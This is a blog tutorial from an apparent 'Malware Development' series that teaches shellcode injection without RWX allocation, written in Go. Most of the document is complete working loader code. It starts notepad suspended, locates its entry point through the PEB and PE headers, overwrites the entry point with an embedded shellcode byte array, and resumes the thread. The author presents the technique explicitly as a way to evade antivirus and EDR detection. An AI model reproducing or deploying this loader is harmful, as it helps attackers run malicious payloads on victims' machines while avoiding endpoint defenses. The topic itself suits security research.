Malware Development 13 - Shellcode injection without VirtualAllocEx RWX (Golang)
Introduction
Hi there!
Today we’ll see a truly excellent way in which we can perform our shellcode injections to avoid allocating memory with RWX permissions. Then we’ll code an example in Golang
Only for educational purposes
Explanation
The technique we’ll be learning today is a potential way to evade AVs/EDRs since most of them try to detect whether a process has allocated memory space with RWX permissions which would be highly probable a shellcode injection because we also want to execute the written shellcode, so if an AV/EDR detects that it has ocurred, our malware will be blocked and flagged as malicious. That’s a good reason why we would want to use a similar technique to this one.
As various posts explain, in order to achieve this, we have to do a process like this:
- Start a process (i.e. notepad.exe) in suspended state (CREATE_SUSPENDED) to inject shellcode later on it
- Calculate Entry Point address of created process
- Now we write shellcode to entry point address
- Then we resume process thread
- And finally our shellcode is executed
In this case we will do this with this API calls: CreateProcess
, ReadProcessMemory
, WriteProcessMemory
, ResumeThread
and NtQueryInformationProcess
But you could also do it with the appropiate Nt functions like NtCreateProcess
, NtReadVirtualMemory
, NtWriteVirtualMemory
and NtResumeThread
but for brevity and simplicity, we’ll do it easier with the other calls.
If you wonder how we can calculate the Entry Point address, it’s done by firstly getting the process image base, then we parse out the NT and Optional Headers to finally be able to find Entry Point address (Relative Virtual Address)
Code
Let’s start by importing the packages we’ll see
1
2
3
4
5
6
7
8
9
10
package main
import (
"fmt"
"log"
"unsafe"
"syscall"
"encoding/binary"
"golang.org/x/sys/windows"
)
After this, we import the API calls
1
2
3
4
5
6
7
8
9
// Load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// Declare functions that will be used
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
Then we create the already mentioned process
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
Now we call NtQueryInformationProcess to be able to get the PEB offset
1
2
3
4
5
6
7
8
fmt.Println("[*] Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
Then let’s call ReadProcessMemory to get image base address and to calculate later the entry point address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte,4096)
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
To be able to calculate the entry point address, we need to parse the DOS header and NT header (some structs are defined but I omit them for brevity, you can check them out on final code)
1
2
3
4
5
// Parse DOS header e_lfanew entry to calculate entry point address
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
And finally we use WriteProcessMemory and ResumeThread to write shellcode to entry point address and resume process thread
1
2
3
4
5
6
7
8
9
10
11
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // write shellcode to entry point
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
fmt.Println("[*] Calling ResumeThread...") // finally resume thread
ResumeThread.Call(uintptr(pi.Thread))
So the final code is something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
package main
import (
"fmt"
"log"
"unsafe"
"syscall"
"encoding/binary"
"golang.org/x/sys/windows"
)
type IMAGE_DOS_HEADER struct { // DOS .EXE header
/*E_magic uint16 // Magic number
E_cblp uint16 // Bytes on last page of file
E_cp uint16 // Pages in file
E_crlc uint16 // Relocations
E_cparhdr uint16 // Size of header in paragraphs
E_minalloc uint16 // Minimum extra paragraphs needed
E_maxalloc uint16 // Maximum extra paragraphs needed
E_ss uint16 // Initial (relative) SS value
E_sp uint16 // Initial SP value
E_csum uint16 // Checksum
E_ip uint16 // Initial IP value
E_cs uint16 // Initial (relative) CS value
E_lfarlc uint16 // File address of relocation table
E_ovno uint16 // Overlay number
E_res [4]uint16 // Reserved words
E_oemid uint16 // OEM identifier (for E_oeminfo)
E_oeminfo uint16 // OEM information; E_oemid specific
E_res2 [10]uint16 // Reserved words*/
E_lfanew uint32 // File address of new exe header
}
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main(){
// Load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// Declare functions that will be used
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
var info int32
var returnLength int32
var pbi windows.PROCESS_BASIC_INFORMATION
var si windows.StartupInfo
var pi windows.ProcessInformation
/*
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*/
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
/*
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
*/
fmt.Println("[*] Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0
/*
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
*/
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte,4096)
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
// Parse DOS header e_lfanew entry to calculate entry point address
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
/*
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
*/
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // write shellcode to entry point
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
/*
DWORD ResumeThread(
[in] HANDLE hThread
);
*/
fmt.Println("[*] Calling ResumeThread...") // finally resume thread
ResumeThread.Call(uintptr(pi.Thread))
// shellcode should have been executed at this point
fmt.Println("[+] Shellcode executed!")
}
Demo
Let’s compile the code
1
GOARCH=amd64 GOOS=windows go build main.go
Now we transfer the executable to a Windows x64 machine
And finally we execute it
As you can see, it works like a charm!
References
1
2
3
4
https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx
https://bohops.com/2023/06/09/no-alloc-no-problem-leveraging-program-entry-points-for-process-injection/
https://stackoverflow.com/questions/9613867/address-of-entry-point
https://en.wikipedia.org/wiki/Entry_point
Conclusion
I hope you’ve learned a new shellcode injection technique to consider as an excellent OPSEC technique which can help you specially if it’s combined with other techniques like unhooking or indirect syscalls.
Source code here